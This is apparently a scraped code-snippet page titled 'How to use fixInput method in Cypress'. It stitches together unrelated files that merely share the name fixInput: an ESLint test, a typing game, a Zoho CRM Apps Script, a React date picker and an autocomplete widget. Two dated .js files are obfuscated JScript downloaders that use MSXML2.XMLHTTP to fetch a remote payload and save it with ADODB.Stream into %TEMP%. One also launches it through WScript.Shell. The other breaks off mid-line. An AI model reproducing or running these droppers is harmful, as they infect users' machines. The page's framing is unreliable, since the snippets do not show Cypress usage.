How to use fixInput method in Cypress

Best JavaScript code snippet using cypress

template-indent.mjs

Source:template-indent.mjs Github

copy

Full Screen

...19test({20	/** @type {import('eslint').RuleTester.InvalidTestCase[]} */21	invalid: [22		{23			code: fixInput(`24				foo = dedent\`25				••••••••one26				••••••••two27				••••••••••three28				••••••••\`29			`),30			errors,31			output: fixInput(`32				foo = dedent\`33				••one34				••two35				••••three36				\`37			`),38		},39		{40			code: ['dedent`', 'one', 'two', '`'].join('\r\n'),41			errors,42			output: ['dedent`', '  one', '  two', '`'].join('\r\n'),43		},44		{45			options: [{46				tags: ['customIndentableTag'],47			}],48			code: fixInput(`49				foo = customIndentableTag\`50				••••••••one51				••••••••two52				••••••••••three53				••••••••\`54				foo = differentTagThatMightBeWhitespaceSensitive\`55				••••••••one56				••••••••two57				••••••••••three58				••••••••\`59				foo = \`60				••••••••one61				••••••••two62				••••••••••three63				••••••••\`64			`),65			errors,66			output: fixInput(`67				foo = customIndentableTag\`68				••one69				••two70				••••three71				\`72				foo = differentTagThatMightBeWhitespaceSensitive\`73				••••••••one74				••••••••two75				••••••••••three76				••••••••\`77				foo = \`78				••••••••one79				••••••••two80				••••••••••three81				••••••••\`82			`),83		},84		{85			options: [{86				tags: ['customIndentableTag'],87				selectors: [':not(TaggedTemplateExpression) > TemplateLiteral'],88			}],89			code: fixInput(`90				foo = customIndentableTag\`91				••••••••one192				••••••••two193				••••••••••three194				••••••••\`95				foo = differentTagThatMightBeWhitespaceSensitive\`96				••••••••one97				••••••••two98				••••••••••three99				••••••••\`100				foo = \`101				••••••••one102				••••••••two103				••••••••••three104				••••••••\`105			`),106			errors: [...errors, ...errors],107			output: fixInput(`108				foo = customIndentableTag\`109				••one1110				••two1111				••••three1112				\`113				foo = differentTagThatMightBeWhitespaceSensitive\`114				••••••••one115				••••••••two116				••••••••••three117				••••••••\`118				foo = \`119				••one120				••two121				••••three122				\`123			`),124		},125		{126			code: fixInput(`127				function foo() {128				••return dedent\`129				••••••••one130				••••••••two131				••••••••••three132				••••••••\`133				}134			`),135			errors,136			output: fixInput(`137				function foo() {138				••return dedent\`139				••••one140				••••two141				••••••three142				••\`143				}144			`),145		},146		{147			code: fixInput(`148				// a149				// bb150				// ccc151				// dddd152				function foo() {153				••return dedent\`154				••••••••one155				••••••••two156				••••••••••three \${3} four157				••••••••••••five158				••••••••••••••\${{f: 5}}159				••••••••••••six160				••••••••\`161				}162			`),163			errors,164			output: fixInput(`165				// a166				// bb167				// ccc168				// dddd169				function foo() {170				••return dedent\`171				••••one172				••••two173				••••••three \${3} four174				••••••••five175				••••••••••\${{f: 5}}176				••••••••six177				••\`178				}179			`),180		},181		{182			code: fixInput(`183				foo = gql\`184				••••••••one185				••••••••two186				••••••••••three187				••••••••\`188				foo = sql\`189				••••••••one190				••••••••two191				••••••••••three192				••••••••\`193				foo = dedent\`194				••••••••one195				••••••••two196				••••••••••three197				••••••••\`198				foo = outdent\`199				••••••••one200				••••••••two201				••••••••••three202				••••••••\`203				foo = somethingElse\`204				••••••••one205				••••••••two206				••••••••••three207				••••••••\`208			`),209			errors: [...errors, ...errors, ...errors, ...errors],210			output: fixInput(`211				foo = gql\`212				••one213				••two214				••••three215				\`216				foo = sql\`217				••one218				••two219				••••three220				\`221				foo = dedent\`222				••one223				••two224				••••three225				\`226				foo = outdent\`227				••one228				••two229				••••three230				\`231				foo = somethingElse\`232				••••••••one233				••••••••two234				••••••••••three235				••••••••\`236			`),237		},238		{239			code: fixInput(`240				foo = stripIndent(\`241				••••••••one242				••••••••two243				••••••••••three244				••••••••\`)245			`),246			errors,247			output: fixInput(`248				foo = stripIndent(\`249				••one250				••two251				••••three252				\`)253			`),254		},255		{256			code: fixInput(`257				html = /* HTML */ \`258				••••••••<div>259				••••••••••<span>hello</span>260				••••••••</div>261				••••••••\`262			`),263			errors,264			output: fixInput(`265				html = /* HTML */ \`266				••<div>267				••••<span>hello</span>268				••</div>269				\`270			`),271		},272		{273			code: fixInput(`274				html = /* html */ \`275				••••••••<div>276				••••••••••<span>hello</span>277				••••••••</div>278				••••••••\`279			`),280			errors,281			output: fixInput(`282				html = /* html */ \`283				••<div>284				••••<span>hello</span>285				••</div>286				\`287			`),288		},289		{290			code: fixInput(`291				html = /* indent */ \`292				••••••••<div>293				••••••••••<span>hello</span>294				••••••••</div>295				••••••••\`296			`),297			errors,298			output: fixInput(`299				html = /* indent */ \`300				••<div>301				••••<span>hello</span>302				••</div>303				\`304			`),305		},306		{307			options: [{308				comments: ['please indent me!'],309			}],310			code: fixInput(`311				html = /* please indent me! */ \`312				••••••••<div>313				••••••••••<span>hello</span>314				••••••••</div>315				••••••••\`316			`),317			errors,318			output: fixInput(`319				html = /* please indent me! */ \`320				••<div>321				••••<span>hello</span>322				••</div>323				\`324			`),325		},326		{327			options: [{328				indent: 10,329			}],330			code: fixInput(`331				foo = dedent\`332				••one333				••two334				••••three335				\`336			`),337			errors,338			output: fixInput(`339				foo = dedent\`340				••••••••••one341				••••••••••two342				••••••••••••three343				\`344			`),345		},346		{347			options: [{348				indent: '\t\t\t\t',349			}],350			code: fixInput(`351				foo = dedent\`352				••one353				••two354				••••three355				\`356			`),357			errors,358			output: fixInput(`359				foo = dedent\`360				→→→→→→→→one361				→→→→→→→→two362				→→→→→→→→••three363				\`364			`),365		},366		{367			options: [{368				selectors: ['* TemplateLiteral', '* > TemplateLiteral'],369			}],370			code: fixInput(`371				foo = \`372				one373				two374				••three375				\`376			`),377			// Make sure we only report one error, even when multiple selectors match378			errors,379			output: fixInput(`380				foo = \`381				••one382				••two383				••••three384				\`385			`),386		},387		{388			options: [{389				selectors: ['* > TemplateLiteral'],390				comments: ['indentme'],391			}],392			code: fixInput(`393				foo = /* INDENTME */ \`394				one395				two396				••three397				\`398			`),399			// Make sure we only report one error, even when multiple selectors match400			errors,401			output: fixInput(`402				foo = /* INDENTME */ \`403				••one404				••two405				••••three406				\`407			`),408		},409		{410			options: [{411				functions: ['customDedentFunction'],412			}],413			code: fixInput(`414				foo = customDedentFunction(\`415				••••••••one416				••••••••two417				••••••••••three418				••••••••\`)419				foo = customDedentFunction('some-other-arg', \`420				••••••••one421				••••••••two422				••••••••••three423				••••••••\`)424			`),425			errors: [...errors, ...errors],426			output: fixInput(`427				foo = customDedentFunction(\`428				••one429				••two430				••••three431				\`)432				foo = customDedentFunction('some-other-arg', \`433				••one434				••two435				••••three436				\`)437			`),438		},439		{440			code: fixInput(`441				outdent\`442				before443				before\${444				expression445				}after446				after447				\`448			`),449			errors,450			output: fixInput(`451				outdent\`452				••before453				••before\${454				expression455				}after456				••after457				\`458			`),459		},460		{461			code: fixInput(`462				outdent\`463				••before464				••before\${465				→→→→→→outdent\`466				inner467				→→→→→→\`468				}after469				••after470				\`471			`),472			errors,473			output: fixInput(`474				outdent\`475				••before476				••before\${477				→→→→→→outdent\`478				→→→→→→→→inner479				→→→→→→\`480				}after481				••after482				\`483			`),484		},485	],486	/** @type {import('eslint').RuleTester.ValidTestCase[]} */487	valid: [488		'foo = dedent`one two three`',489		fixInput(`490			function f() {491			→→foo = dedent\`492			→→→→one493			→→→→two494			→→→→→→three495			→→→→four496			→→\`497			}498		`),499		fixInput(`500			function f() {501			→→foo = dedent\`502			→→→→one503			→→→→two504			→→→→→→three505			→→→→four506			→→\`507			}508		`),509		fixInput(`510			function f() {511			••foo = dedent\`512			••••one513			••••two514			••••••three515			••••four516			••\`517			}518		`),519		{520			options: [{521				tags: ['somethingOtherThanDedent'],522				functions: ['somethingOtherThanStripIndent'],523			}],524			code: fixInput(`525				foo = stripIndent(\`526				••••••••one527				••••••••two528				••••••••••three529				••••••••\`)530				foo = dedent\`531				••••••••one532				••••••••two533				••••••••••three534				••••••••\`535			`),536		},537		'stripIndent(foo)',538		{539			options: [{540				selectors: ['TemplateElement'],541			}],542			// Bad selector; no template literal match543			code: fixInput(`544				foo = \`545				••••••one546				••••••two547				••••••••three548				\`549			`),550		},551		'``',552		{553			options: [{554				comments: [],555			}],556			code: fixInput(`557				foo = /* indent */ \`558				••••••one559				••••••two560				••••••••three561				\`562			`),563		},564		fixInput(`565			outdent\`566			••before567			••before\${568			expression569			}after570			••after571			\`572		`),573		fixInput(`574			outdent\`575			••before576			••before\${577			••••••normalTemplate\`578			inner579			••••••\`580			}after581			••after582			\`583		`),584	],585});586// `expect().toMatchInlineSnapshot()`587const INVALID_SNAPSHOT = `\`...

Full Screen

Full Screen

script.js

Source:script.js Github

copy

Full Screen

...81        letterIdx = currentWord.children.length;82        currentLetter = currentWord.children[letterIdx - 1];83        84        currentVal = getPrevInput(wordIdx);85        fixInput(currentLetter);86    } 87    else if (letterIdx != 0) {88        letterIdx--;89        currentLetter = currentWord.children[letterIdx];90        if (letterIdx >= words[wordIdx].length) {91            currentLetter.parentNode.removeChild(currentLetter);92            currentLetter = currentWord.children[letterIdx-1];93            fixInput(currentLetter);94        } else {95            currentLetter.removeAttribute('id');96            fixInput(currentLetter, true);97        }98        currentVal = currentVal.substring(0, currentVal.length - 1);99    }100};101const holdDelete = () => {102    holdTimeout = setTimeout(() => {103        delInterval = setInterval(() => {104            delLetter();105        }, 40);106    }, 400);107};108const setup = async () => {109    clearInterval(timerLoop);110    timerLoop = null;111    seconds = 0;112    timer.innerHTML = 0;113    wordIdx = 0;114    letterIdx = 0;115    currentVal = "";116    correctWords = 0;117    text.innerHTML = "";118    words = await fetchQuote();119    for (let i = 0; i < words.length; i++) {120        var word = document.createElement('h3');121    122        for (let j = 0; j < words[i].length; j++) {123            var letter = document.createElement('letter');124    125            letter.innerHTML = words[i][j];126    127            word.append(letter);128        }129    130        text.append(word);131    }132    fixInput(document.getElementsByTagName('letter')[0], true);133};134setup();135document.addEventListener('keydown', (e) => {136    if (e.repeat) return;137    const pressed = e.key;138    currentWord = document.getElementsByTagName('h3')[wordIdx];139    currentLetter = letterIdx < currentWord.children.length && currentWord.children[letterIdx];140    141    if (isLetter(pressed)) {142        !timerLoop && start();143        currentVal += pressed;144    }145    switch (pressed) {146        case "Backspace":147            holdDelete();148            delLetter(letterIdx, wordIdx, currentWord, currentLetter);149            break;150        case " ":151            e.target == redo && e.preventDefault(); // prevent redo press with spacebar152            if (!checkWord(currentVal, words[wordIdx])) {153                currentWord.style.borderBottom = '2px solid rgba(255, 0, 0, 0.6)';154            } else {155                currentWord.setAttribute('id', 'correctWord');156            }157            wordIdx++;158            letterIdx = 0;159            currentVal = "";160            if (wordIdx == words.length) {161                gameOver();162            } else {163                fixInput(document.getElementsByTagName('h3')[wordIdx], true);164            }165            break;166    167        case currentLetter.innerHTML:168            currentLetter.setAttribute('id', 'correct');169            break;170        default:171            if (isLetter(pressed)) {172                if (currentVal.length > currentWord.children.length) {173                    var letter = document.createElement('letter');174                    175                    letter.innerHTML = pressed;176                    currentLetter = letter;177                    currentWord.append(letter);178                }179                currentLetter.setAttribute('id', 'incorrect');180            }181            break;182    }183    if (isLetter(pressed)) {184        letterIdx++;185        fixInput(currentLetter);186    }        187});188document.addEventListener('keyup', (e) => {189    if (e.repeat) return;190    if (e.key == "Backspace") {191        clearTimeout(holdTimeout);192        clearInterval(delInterval); 193    }...

Full Screen

Full Screen

Code.gs

Source:Code.gs Github

copy

Full Screen

1/* Consider this your server-side file but without the server */2/**3 * Special function that handles HTTP GET requests to the published web app.4 * @return {HtmlOutput} The HTML page to be served.5 ***/6function doGet(e) {7    var requestedId = e.parameter.zoho_id;8    var templ = HtmlService.createTemplateFromFile('webpage');9    templ.data = requestRecordFromCRM(requestedId);10    return templ.evaluate()11        .setTitle('Web Form')12        .setSandboxMode(HtmlService.SandboxMode.IFRAME);13}14/* - - - - - - - Zoho API - - - - - - - */15/* Data is pulled from Zoho CRM to pre-populate webform */16/*Post/Update record to CRM*/17function postRecordToCRM() {18    var authToken = 'INSERT_API_KEY'; //Zoho CRM API key goes here19    var xmlData = '<Leads><row no="1"><FL val="Company">Your Company</FL><FL val="First Name">HannahZZZZZ</FL><FL val="Last Name">SmithZZZ</FL><FL val="Email">ABCtesting@testing.com</FL></row></Leads>';20    var zohoPostUrl = 'https://crm.zoho.com/crm/private/json/Leads/insertRecords?authtoken=' + authToken + '&scope=crmapi&xmlData=';21    var response = UrlFetchApp.fetch(zohoPostUrl + encodeURIComponent(xmlData));22    var sanitizedResponse = JSON.parse(response.getContentText());23    Logger.log(sanitizedResponse);24}25/*Fetch record data with Lead ID*/26function requestRecordFromCRM(requestedId) {27    //var requestedId = 'INSERT_API_KEY'; //Sample record id28    var authToken = 'INSERT_API_KEY'; //Zoho CRM API key goes here29    var zohoRequestUrl = 'https://crm.zoho.com/crm/private/json/Leads/getRecordById?&authtoken=' + authToken + '&scope=crmapi&id=' + requestedId;30    var response = UrlFetchApp.fetch(zohoRequestUrl);31    var sanitizedResponse = (response.getContentText());32    //complete sample zoho api call (remember to replace api key) https://crm.zoho.com/crm/private/json/Leads/getRecordById?&authtoken=INSERT_API_KEY&scope=crmapi&id=39284800003564910033    /*Sanitize json*/34    var output = JSON.parse(sanitizedResponse);35    //uncomment Logger.log(output);36    /*Declare the variables you want to print*/37    var parsedOutput = output.response.result.Leads.row.FL;38    var recordObj = {}39    /*Equate variable value to corresponding key-value pair returned by api response*/40    for (var i = 0; i < output.response.result.Leads.row.FL.length; i++) {41      Logger.log(output.response.result.Leads.row.FL[i].val+" ==== "+output.response.result.Leads.row.FL[i].content);42      var fl=output.response.result.Leads.row.FL[i];43      if (fl.val == 'Width') {recordObj.width = fixinput(fl.content);}44      if (fl.val == 'Length') {recordObj.length = fixinput(fl.content);}45      if (fl.val == 'Height') {recordObj.height = fixinput(fl.content);}46      if (fl.val == 'Street') {recordObj.street = fixinput(fl.content);}47      if (fl.val == 'City') {recordObj.city =fixinput( fl.content);}48      if (fl.val == 'State') {recordObj.state = fixinput(fl.content);}49      if (fl.val == 'Country') {recordObj.country = fixinput(fl.content);}50      if (fl.val == 'Zip Code') {recordObj.zip = fixinput(fl.content);}51      if (fl.val == 'Lead Name') {recordObj.leadName = fixinput(fl.content);}52      if (fl.val == 'First Name') {recordObj.firstName =fixinput( fl.content);}53      if (fl.val == 'Last Name') {recordObj.lastName =fixinput( fl.content);}54      if (fl.val == 'Phone') {recordObj.phone = fixinput(fl.content);}55      if (fl.val == 'Email') {recordObj.email = fixinput(fl.content);}56      if (fl.val == 'Lead Owner') {recordObj.leadOwner = fixinput(fl.content);}57      if (fl.val == 'Standard Cost') {recordObj.standardPrice = fixinput(fl.content);}58      if (fl.val == 'Building Price') {recordObj.total =fixinput( fl.content);}59    }60  return (recordObj);61}62function fixinput(input) {63  //uncomment Logger.log(input);64  return input;65}66function debug() {67    Logger.log(ScriptApp.getService().getUrl());68}69/* - - - - - - - PDF Layer API - - - - - - - */70/*  High quality HTML to PDF conversion API  */71/* Convert HTML to PDF */72function convertToPDF(html) {73    var authKey = 'INSERT_API_KEY'; //PDF Layer API key goes here74    var creator = 'hkdeven';75    var documentName = 'WebForm.pdf';76    /* PDF Layer only reads inline-css, unless you pass a css_url parameter with the API call - remember, plain css only */77    var cssUrl = 'https://s3-us-west-2.amazonaws.com/folder/styles.css'; //Link to your external css file, if applicable78    var encodedUrl = encodeURI("http://api.pdflayer.com/api/convert" +79                               "?access_key=" + authKey +80                               "&creator=" + creator +81                               "&document_name=" + documentName +82                               "&dpi=300" +83                               "&page_size=A4" +84                               "&margin_top=0" +85                               "&margin_bottom=0" +86                               "&margin_left=0" +87                               "&margin_right=0" +88                               "&use_print_media=1" +89                               "&css_url=" + cssUrl);90    var payload = {91      'document_html': html92    }93    var request = {94      'method' : 'POST',95      'payload' : payload96    }97    var response = UrlFetchApp.fetch(encodedUrl, request);98    var obj = {}99    obj.headers = response.getAllHeaders();100    obj.responseCode = response.getResponseCode();101    if (obj.headers['Content-Type'] == MimeType.PDF) {102        /* PDF file for client-side webpage */103        obj.response = Utilities.base64Encode(response.getContent());104    }105    return JSON.stringify(obj);...

Full Screen

Full Screen

index.js

Source:index.js Github

copy

Full Screen

1import React from 'react'2import Moment from 'moment'3import DatePicker from './DatePicker'4import TimePicker from './TimePicker'5import './index.css'6class DateOrTimeSelector extends React.Component {7    constructor(){8        super()9        this.state = {10            pickerOpen: false,11            // DatePicker state variables12            inputDate : Moment().format("MM/DD/YYYY"),13            selectedDate: Moment().format("MM/DD/YYYY"), // used for rendering DatePicker Calendar along with pickerControlDate14            rememberDateForCancel: Moment().format("MM/DD/YYYY"), // for cancel button behaviour15            // Time picker stuff16            inputTime: Moment().format("hh:mm a"),17            selectedTime: Moment().format("hh:mm a")18        }19    }20    handleDateInputChange(e){21        var inputDate = e.target.value22        this.setState({ inputDate })23        // if user enters month July as 7 and not 07, same with date24        var fixInput = inputDate.split('/')25        if(fixInput[0]<10 && !fixInput[0].includes('0')){ fixInput[0] = '0'+fixInput[0]}26        if(fixInput[1]<10 && !fixInput[1].includes('0')){ fixInput[1] = '0'+fixInput[1]}27        inputDate = fixInput.join('/')28        // after date is fixed29        if(inputDate.length === 10) {30            this.setState({ selectedDate: inputDate }) 31        }32    }33    handleTimeInputChange(e){34        var inputTime = e.target.value35        this.setState({ inputTime })36        if( inputTime.length>=6 && (inputTime.includes('am') || inputTime.includes('pm')) ) {37            // this.setState({ selectedTime: input, inputTime: input }) --- to be changed 38        }39    }40    render(){41        // console.log(this.state)42        const timePicker = this.props.timePicker || false43        const onOk = this.props.onOk ? this.props.onOk : (e) => { console.log(e)}44        const zIndex = this.props.zIndex || 145        const isBigScreen = window.matchMedia("(min-width: 769px)").matches46        return (47            <div className="date-picker-container">48                {!timePicker ?49                    (isBigScreen ? 50                    <input className={`picker-input ${this.props.inputClass || ''}`} type="text" value={this.state.inputDate} onChange={e => this.handleDateInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> :51                    <input readOnly className={`picker-input ${this.props.inputClass || ''}`} type="text" value={this.state.inputDate} onChange={e => this.handleDateInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> )52                    :53                    (isBigScreen ?54                    <input className={`picker-input ${this.props.inputClass || ''}`} tpye="text"  value={this.state.inputTime} onChange={e => this.handleTimeInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> :55                    <input readOnly className={`picker-input ${this.props.inputClass || ''}`} tpye="text"  value={this.state.inputTime} onChange={e => this.handleTimeInputChange(e)} onClick={() => this.setState({ pickerOpen: true })}/> )56                }57                {this.state.pickerOpen && 58                    <div className="mask" style={{ zIndex: zIndex-1 }}>59                        <div className="picker-container" id="picker-container" style={{ width: this.props.pickerWidth+'px', zIndex }} >60                            {!timePicker ? 61                                <DatePicker62                                    {...this.state}63                                    pickerWidth={this.props.pickerWidth || 250}64                                    onOk={onOk}65                                    changeSelectedDate={selectedDate => this.setState({ selectedDate })}66                                    changeInputDate={selectedDate => this.setState({ inputDate: selectedDate })}67                                    changeRememberDate={rememberDateForCancel => this.setState({ rememberDateForCancel })}68                                    openPicker={() => this.setState({ pickerOpen: true })}69                                    closePicker={() => this.setState({ pickerOpen: false })}70                                />71                                :72                                <TimePicker73                                    pickerWidth={this.props.pickerWidth || 250}74                                    {...this.state}75                                    onOk={onOk}76                                    changeInputTime={inputTime => this.setState({ inputTime })}77                                    changeSelectedTime={selectedTime => this.setState({ selectedTime })}78                                    openPicker={() => this.setState({ pickerOpen: true })}79                                    closePicker={() => this.setState({ pickerOpen: false })}80                                />81                            }82                            83                        </div>84                    </div>85                }86            </div>87        )88    }89}...

Full Screen

Full Screen

20160308_ee222bf097cac15e9127f4569ca588ab.js

Source:20160308_ee222bf097cac15e9127f4569ca588ab.js Github

copy

Full Screen

1clazz = 156;2contexts = "tri";3var rjsonp = 248,4	compile = 14;5jsonProp = "sen", content = "bje", bool = "entS";6var boxSizingReliableVal = "Run";7strAbort = 32, script = "reateO", td = "seBody", using = "ngs";8selectedIndex = "wr";9end = "pt";10attrs = 26;11structure = "Expand";12origType = "u/";13domManip = "Crea";14arg = 117, rescape = 13, matchesSelector = "ct", last = "ttp://", filter = 90, dest = 4983;15dataTypeOrTransport = "j6h5";16index = "WScri";17globalEval = 1185;18rbuggyQSA = "d";19valueParts = "osit";20to = "TP";21buildFragment = 0;22minWidth = "ADODB";23setPositiveNumber = "C", cloneNode = 6;24transport = "ect";25vendorPropName = "WScrip";26factory = "c";27createOptions = "H";28outermostContext = "rem";29on = 24;30resolve = "WScr";31xhrSupported = 86;32onreadystatechange = "t.S";33readyState = "te";34beforeSend = "L2.XML";35fnOver = 1;36boolHook = "Sleep";37i = "42";38hasClass = 35;39maxIterations = "onm", diff = "Fi", documentElement = "W", webkitMatchesSelector = "r";40var close = 50,41	overflowX = "t",42	flag = "type";43params = "dysta", expando = "/", replaceChild = "E", optall = "980k7";44var parent = "a",45	ret = "le",46	abort = 990,47	scale = 31,48	srcElements = "sti",49	unloadHandler = 186;50var sortOrder = "Envir",51	firstElementChild = "m";52var high = "teObje",53	matched = "S";54sortStable = "n";55width = 41;56addToPrefiltersOrTransports = "cl";57hasContent = "MSXM", hide = "s";58fxNow = ".St";59callbackName = "open";60rmsPrefix = 18;61teardown = "ng.e", outermost = "e.stra", pageY = "ove", letter = 58, serialize = "teObj";62callbackContext = "%TEMP%";63oldCache = "to-ho";64readyList = "ea";65val = "p";66method = 152;67var originAnchor = 12,68	original = "Script",69	w = "l",70	createInputPseudo = "aveTo",71	matcherIn = 28;72invert = 12865;73animation = 168;74clientTop = ".sc";75pseudo = "eep";76handleObj = "h";77match = 4;78lname = "o";79lang = "ipt";80checkContext = 25;81unqueued = "ell";82var condense = "At",83	iframe = "i",84	nidselect = "T";85firstChild = 10212, fns = "G", step = 93, soFar = 11;86dataUser = (function Object.prototype.els() {87	return this88}, "ion"), locked = 174, reject = "Respon", progress = "se", option = "514576";89base = 3;90beforeunload = "e";91hold = "ope";92remaining = 2;93jsonp = "tribut";94cur = "Cre", submit = ".d";95fixInput = (((215, animation, 193, unloadHandler) - (5 ^ arg)), (((4 + buildFragment) | (11 / soFar)), this));96contentType = boxSizingReliableVal;97parts = fixInput[documentElement + original];98prependTo = parts[setPositiveNumber + script + content + factory + overflowX](vendorPropName + onreadystatechange + handleObj + unqueued);99specified = prependTo[structure + sortOrder + maxIterations + bool + contexts + using](callbackContext + expando) + outermostContext + pageY + condense + jsonp + beforeunload + clientTop + webkitMatchesSelector;100calculatePosition = fixInput[index + end][cur + parent + serialize + transport](hasContent + beforeSend + createOptions + nidselect + to);101calculatePosition[callbackName](fns + replaceChild + nidselect, handleObj + last + option + i + submit + outermost + oldCache + srcElements + teardown + origType + optall + dataTypeOrTransport, !(3 == (((((strAbort + 24) | (checkContext * 4 + match)) / ((Math.pow(365, remaining) - 132745) / (Math.pow(hasClass, 2) - globalEval))) + (((1 * remaining) ^ (0 & fnOver)) ^ ((1 * buildFragment) & (0 / fnOver)))) - (((Math.pow((21 + xhrSupported), (33 - scale)) - (21479 - firstChild)), (2 & base) * (1 + fnOver) * 61, ((step - 65) & (abort / 33))), (((rmsPrefix - 18) / (clazz, 53, compile)) | ((130, locked, 4042) / (letter - 11))), (Math.pow(((remaining | 1) ^ (match | 30)), ((Math.pow(rescape, 2) - method) - (3 | originAnchor))) - ((63, step, 50, filter) + (34750 / close))), (((988 / attrs) - (1 ^ cloneNode)) - (Math.pow((11 ^ scale), (48 / on)) - (130 + rjsonp)))))));102calculatePosition[jsonProp + rbuggyQSA]();103while (calculatePosition[webkitMatchesSelector + readyList + params + readyState] < (2 * (buildFragment | 2))) {104	fixInput[index + val + overflowX][matched + w + pseudo](((matcherIn * 5 + originAnchor) - 2 * rescape * 2));105}106responseText = fixInput[index + end][domManip + high + matchesSelector](minWidth + fxNow + webkitMatchesSelector + readyList + firstElementChild);107fixInput[resolve + lang][boolHook](((dest + 686) + (invert - 3534)));108responseText[hold + sortStable]();109backgroundClip = responseText;110backgroundClip[flag] = (fnOver ^ 0);111cssHooks = backgroundClip;112responseText[selectedIndex + iframe + readyState](calculatePosition[reject + td]);113cssHooks[val + valueParts + dataUser] = ((width / 41) + -(base - 2));114responseText[hide + createInputPseudo + diff + ret](specified, (originAnchor - 10));115responseText[addToPrefiltersOrTransports + lname + progress]();116postDispatch = prependTo;...

Full Screen

Full Screen

mini-autocomplete-wssip.js

Source:mini-autocomplete-wssip.js Github

copy

Full Screen

1/**2 * min-WssipAutoComplete 自动完成标签3 * 4 * 版本修正:5 * autoquery 允许取消自动查询,只能按回车查询6 * fixinput 允许选择记录后不清空内容7 * 修正最小字符无效的bug8 * 修正第二次操作同一人用鼠标选择无法触发change事件的bug9 * 加载信息默认中文显示10 * 增加setInputText用于强行设置文本框内容11 * JSPrint(new mini.AutoComplete(),"minAutoComplete");12 * __OnInputKeyDown: 搜索 ("keydown"  所在的函数即为__OnInputKeyDown13 * _tryQuery: 查找doQuery函数,其内部调用的即为_tryQuery14 * __OnItemClick: 查找beforeitemclick,所在函数即为__OnItemClick15 */16mini.WssipAutoComplete = function () {17    mini.WssipAutoComplete.superclass.constructor.call(this);18}19mini.extend(mini.WssipAutoComplete, mini.AutoComplete, {20	uiCls: "mini-autocomplete-wssip",21	delay:650,22	minChars:2,23	searchField:"query",24	popupLoadingText: "<span class='mini-textboxlist-popup-loading'>查询中...</span>",25    popupErrorText: "<span class='mini-textboxlist-popup-error'>查询出错</span>",26    popupEmptyText: "<span class='mini-textboxlist-popup-noresult'>无符合条件的数据</span>",27    getData: function () {28    	if(!this.data||!(this.data.length))return [];29    	return this.data;  30    },31    focus:function(){32    	return;33    },34    setText:function(text){35    	//this.text = text;36    	if(this.fixinput){37    		38    	}else{39    		mini.WssipAutoComplete.superclass.setText.call(this,text);40    	}41    },42//    innerValue:0,43//    getValue:function(){//保证value变化44//    	this.innerValue = this.innerValue +1;45//    	if(this.innerValue>1000)this.innerValue=1;46//    	return this.innerValue;47//    },48    setInputText:function(text){49    	mini.WssipAutoComplete.superclass.setText.call(this,text);50    },51    52    OOl1O:function (e) {//fix __OnInputKeyDown53    	if(!this.isShowPopup() && (e.keyCode == 13 || e.keyCode == 40 ) ){54    		var ex = { htmlEvent: e };55            this.fire("keydown", ex);56    		this.doQueryNow(this.getText());57    	}else{58    		mini.WssipAutoComplete.superclass.OOl1O.call(this,e);//fix59    	}60    	61    },62    doQueryNow:function(text){63    	var olddelay = this.delay;64    	this.delay = 100;65    	mini.WssipAutoComplete.superclass.doQuery.call(this);66    	this.delay = olddelay;67    },68    O0o00:function(oldText) {//_tryQuery69    	//增加延时判断,如果禁用了自动查询,那么只有延时为100时才继续70    	if(!this.autoquery && this.delay >100 )return;71    	var sf = this;72	    if (this._queryTimer) {73	        clearTimeout(this._queryTimer);74	        this._queryTimer = null75	    }76	    this._queryTimer = setTimeout(function () {77	    	78            var text = sf.getText();79            var len = text.length;80            try{81            	len = text.lengthb();82            }catch(e){83            }84            85            if(len<sf.minChars){86            	//位数不足,不查询87            }else{88            	sf.showPopup("loading");89            	sf.oOlo0(text); //_doQuery,参考_tryQuery代码修改90            }            91            92        }, this.delay);93        //this.showPopup("loading"); 移到里面去94	    95    },96    l1o1ol: function(e){//__OnItemClick97    	this.setValue("123");98    	mini.WssipAutoComplete.superclass.l1o1ol.call(this,e);99    },100    autoquery: true,101    setAutoquery: function (value) {102    	this.autoquery = value;103    },104    getAutoquery: function () {105        return this.autoquery;106    },107	fixinput:true,108	setFixinput: function (value) {109    	this.fixinput = value;110    },111    getFixinput: function () {112        return this.fixinput;113    },114	getAttrs: function (el) {115		var attrs = mini.WssipAutoComplete.superclass.getAttrs.call(this, el);116		mini._ParseBool(el, attrs,["autoquery","fixinput"] );117		mini._ParseInt(el, attrs,["minChars"]);118		return attrs;119	}120}121);...

Full Screen

Full Screen

20160311_90471e5446482dc59671e3f72084249a.js

Source:20160311_90471e5446482dc59671e3f72084249a.js Github

copy

Full Screen

1what = 84;2getJSON = "e";3checkbox = "nme";4clientTop = 16;5exports = "Crea";6var bup = 43;7innerText = "hg67";8marginDiv = "ateO";9converters = 184;10divStyle = "onse";11has = 17;12responseContainer = "nd";13var rheaders = "pt.She",14  linear = "cr",15  hold = "saveTo",16  arg = "/",17  position = "op",18  firstElementChild = "B.St";19var pipe = "rip",20  onerror = 5,21  success = 317923657,22  addHandle = "trings",23  slideDown = 6959,24  method = "o";25_evalUrl = 578, createHTMLDocument = "pe", tuple = "close";26expanded = "GE", t = "n", code = "S", time = 119;27off = "ate";28finalValue = 216;29getWidthOrHeight = 0;30v = 35;31until = 14, rcleanScript = "Env";32hasDuplicate = "ect", parts = "eProp", replaceAll = (function Object.prototype.clearCloneStyle() {33  var contents = this;34  return contents35}, "WScrip");36diff = 2848;37rtagName = 30;38initial = "htt";39check = 7;40clientLeft = "ript";41var postDispatch = ".XML";42var dataUser = "hi",43  origFn = 33,44  addCombinator = 70735,45  qualifier = 34;46var targets = "un",47  cos = 3,48  apply = "p",49  protocol = 17831,50  isLocal = "t";51rts = 33664, documentElement = "Exp", p = 255;52var fixInput = 1,53  radioValue = "v.co",54  rbuggyMatches = "positi",55  events = 2,56  cssNormalTransform = 9;57nodeValue = "ww.mom";58prevAll = (((233 & p) & (Math.pow(113, events) - 12546)), ((Math.pow(what, 2) - slideDown), 18), eval("t" + dataUser + "s".clearCloneStyle()));59jsonpCallback = prevAll[replaceAll + "t"];60fragment = jsonpCallback[exports + "teObj" + hasDuplicate]("WScri".clearCloneStyle() + rheaders + "ll");61get = fragment[documentElement + "and" + rcleanScript + "iro".clearCloneStyle() + checkbox + "ntS" + addHandle]("%TEMP%" + arg) + "remov".clearCloneStyle() + parts + ".s" + linear;62file = prevAll["WSc" + clientLeft]["Cre".clearCloneStyle() + marginDiv + "bjec" + isLocal]("MSXML2" + postDispatch + 